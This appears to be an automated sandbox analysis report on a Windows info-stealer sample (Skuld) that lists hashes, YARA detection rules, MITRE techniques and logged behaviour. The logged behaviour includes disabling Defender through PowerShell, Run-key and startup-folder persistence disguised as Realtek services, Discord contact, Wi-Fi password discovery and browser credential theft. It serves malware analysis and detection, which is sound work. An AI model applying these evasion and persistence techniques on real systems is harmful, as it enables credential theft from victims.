skuld | 02994a804f39c8f5d73cdec837ae731f7e6c0dd7f9a6a73be0c1ec057d81aaee

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/08/2026, 23:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Size 15.3MB
Sample260807-3syd2sysfw
SHA256 02994a804f39c8f5d73cdec837ae731f7e6c0dd7f9a6a73be0c1ec057d81aaee
MD5 8ab88c2183caaf622831478f54d85cdc
SHA1 e308631895ff79972faebc802e467e9080f4040c
SHA512 54fd4757227bfb072706839deb7ba2b8b9c8d7037b00dd763ec13d5d7c158ff7fd4a19e556ea0abc18d23be578a30a172de9c577e4c4c9dc91c8c0f5862dacb1
SSDEEP 196608:vC/miPUz3IpJPvqhUCwXtT/Gw1TWK5FJ7SON1Ql31u/4nRUHkOT0:vgwjiZJGwPSOXU38lE7
TLSH
T129F69D83EC7545D8C0A9927AC6669653BB753C884F3163D32B60B6346F37BD0AEB9700
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution skuld persistence privilege_escalation spyware stealer

Malware Config

Signatures

Family: Skuld stealer
An info stealer written in Go lang.
stealer skuld

Detects SkuldStealer 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	family_skuld

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables Discord URL observed in first stage droppers 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432a-4.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1100	powershell.exe
1604	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1100	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealtekAudioUpdate.vbs	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealtekAudioUpdate.vbs	attrib.exe

Executes dropped EXE 20 IoCs

pid	Process
116	SecurityHealthSystray.exe
364	SecurityHealthWatcher.exe
4524	SecurityHealthSystray.exe
5016	SecurityHealthSystray.exe
2436	SecurityHealthWatcher.exe
1236	SecurityHealthWatcher.exe
940	SecurityHealthWatcher.exe
384	SecurityHealthWatcher.exe
3720	SecurityHealthSystray.exe
4500	SecurityHealthSystray.exe
3916	SecurityHealthWatcher.exe
648	SecurityHealthWatcher.exe
2740	SecurityHealthWatcher.exe
2632	SecurityHealthWatcher.exe
552	SecurityHealthSystray.exe
2920	SecurityHealthSystray.exe
4496	SecurityHealthWatcher.exe
1104	SecurityHealthWatcher.exe
4812	SecurityHealthWatcher.exe
1468	SecurityHealthWatcher.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Watcher Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthWatcher.exe"	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	discord.com
14	discord.com
17	discord.com

Looks up external IP address via web service 1 TTPs 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
15	api.ipify.org
18	api.ipify.org
21	api.ipify.org
62	api.ipify.org
63	api.ipify.org
6	api.ipify.org
7	api.ipify.org
10	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 26 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5096	netsh.exe
5116	netsh.exe
2084	netsh.exe
5048	netsh.exe
1604	netsh.exe
3916	netsh.exe
2456	netsh.exe
3640	netsh.exe
4384	netsh.exe
4944	netsh.exe
2708	netsh.exe
4780	netsh.exe
1844	netsh.exe
2104	netsh.exe
4628	netsh.exe
4980	netsh.exe
4460	netsh.exe
1572	netsh.exe
2756	netsh.exe
1752	netsh.exe
4328	netsh.exe
3224	netsh.exe
1120	netsh.exe
2068	netsh.exe
1732	netsh.exe
1560	netsh.exe

Detects videocard installed 1 TTPs 26 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4628	wmic.exe
4624	wmic.exe
648	wmic.exe
464	wmic.exe
4336	wmic.exe
2752	wmic.exe
5088	wmic.exe
5088	wmic.exe
1468	wmic.exe
4932	wmic.exe
3916	wmic.exe
1676	wmic.exe
4100	wmic.exe
3936	wmic.exe
1676	wmic.exe
4276	wmic.exe
4416	wmic.exe
2444	wmic.exe
3840	wmic.exe
1876	wmic.exe
5048	wmic.exe
1668	wmic.exe
4480	wmic.exe
3700	wmic.exe
3336	wmic.exe
2456	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	11	Go-http-client/1.1

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3000	schtasks.exe
1932	schtasks.exe
4568	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1604	powershell.exe
1604	powershell.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1604	powershell.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1100	powershell.exe
1100	powershell.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1100	powershell.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Token: SeIncreaseQuotaPrivilege	3956	wmic.exe
Token: SeSecurityPrivilege	3956	wmic.exe
Token: SeTakeOwnershipPrivilege	3956	wmic.exe
Token: SeLoadDriverPrivilege	3956	wmic.exe
Token: SeSystemProfilePrivilege	3956	wmic.exe
Token: SeSystemtimePrivilege	3956	wmic.exe
Token: SeProfSingleProcessPrivilege	3956	wmic.exe
Token: SeIncBasePriorityPrivilege	3956	wmic.exe
Token: SeCreatePagefilePrivilege	3956	wmic.exe
Token: SeBackupPrivilege	3956	wmic.exe
Token: SeRestorePrivilege	3956	wmic.exe
Token: SeShutdownPrivilege	3956	wmic.exe
Token: SeDebugPrivilege	3956	wmic.exe
Token: SeSystemEnvironmentPrivilege	3956	wmic.exe
Token: SeRemoteShutdownPrivilege	3956	wmic.exe
Token: SeUndockPrivilege	3956	wmic.exe
Token: SeManageVolumePrivilege	3956	wmic.exe
Token: 33	3956	wmic.exe
Token: 34	3956	wmic.exe
Token: 35	3956	wmic.exe
Token: 36	3956	wmic.exe
Token: SeIncreaseQuotaPrivilege	3956	wmic.exe
Token: SeSecurityPrivilege	3956	wmic.exe
Token: SeTakeOwnershipPrivilege	3956	wmic.exe
Token: SeLoadDriverPrivilege	3956	wmic.exe
Token: SeSystemProfilePrivilege	3956	wmic.exe
Token: SeSystemtimePrivilege	3956	wmic.exe
Token: SeProfSingleProcessPrivilege	3956	wmic.exe
Token: SeIncBasePriorityPrivilege	3956	wmic.exe
Token: SeCreatePagefilePrivilege	3956	wmic.exe
Token: SeBackupPrivilege	3956	wmic.exe
Token: SeRestorePrivilege	3956	wmic.exe
Token: SeShutdownPrivilege	3956	wmic.exe
Token: SeDebugPrivilege	3956	wmic.exe
Token: SeSystemEnvironmentPrivilege	3956	wmic.exe
Token: SeRemoteShutdownPrivilege	3956	wmic.exe
Token: SeUndockPrivilege	3956	wmic.exe
Token: SeManageVolumePrivilege	3956	wmic.exe
Token: 33	3956	wmic.exe
Token: 34	3956	wmic.exe
Token: 35	3956	wmic.exe
Token: 36	3956	wmic.exe
Token: SeIncreaseQuotaPrivilege	4508	wmic.exe
Token: SeSecurityPrivilege	4508	wmic.exe
Token: SeTakeOwnershipPrivilege	4508	wmic.exe
Token: SeLoadDriverPrivilege	4508	wmic.exe
Token: SeSystemProfilePrivilege	4508	wmic.exe
Token: SeSystemtimePrivilege	4508	wmic.exe
Token: SeProfSingleProcessPrivilege	4508	wmic.exe
Token: SeIncBasePriorityPrivilege	4508	wmic.exe
Token: SeCreatePagefilePrivilege	4508	wmic.exe
Token: SeBackupPrivilege	4508	wmic.exe
Token: SeRestorePrivilege	4508	wmic.exe
Token: SeShutdownPrivilege	4508	wmic.exe
Token: SeDebugPrivilege	4508	wmic.exe
Token: SeSystemEnvironmentPrivilege	4508	wmic.exe
Token: SeRemoteShutdownPrivilege	4508	wmic.exe
Token: SeUndockPrivilege	4508	wmic.exe
Token: SeManageVolumePrivilege	4508	wmic.exe
Token: 33	4508	wmic.exe
Token: 34	4508	wmic.exe
Token: 35	4508	wmic.exe
Token: 36	4508	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1284 wrote to memory of 5116	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	86
PID 1284 wrote to memory of 3956	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	87
PID 1284 wrote to memory of 4508	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	89
PID 1284 wrote to memory of 60	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	90
PID 1284 wrote to memory of 2752	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	91
PID 1284 wrote to memory of 2068	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	92
PID 1284 wrote to memory of 1932	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	94
PID 1284 wrote to memory of 4568	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	97
PID 1284 wrote to memory of 3000	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	98
PID 1284 wrote to memory of 2104	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	99
PID 1284 wrote to memory of 2352	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	102
PID 1284 wrote to memory of 4252	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	104
PID 1284 wrote to memory of 3828	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	105
PID 1284 wrote to memory of 2084	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	107
PID 1284 wrote to memory of 3460	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	108
PID 1284 wrote to memory of 3024	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	111
PID 1284 wrote to memory of 3184	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	112
PID 1284 wrote to memory of 2996	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	114
PID 116 wrote to memory of 1580	116	SecurityHealthSystray.exe	115
PID 364 wrote to memory of 4820	364	SecurityHealthWatcher.exe	116
PID 1284 wrote to memory of 3120	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	117
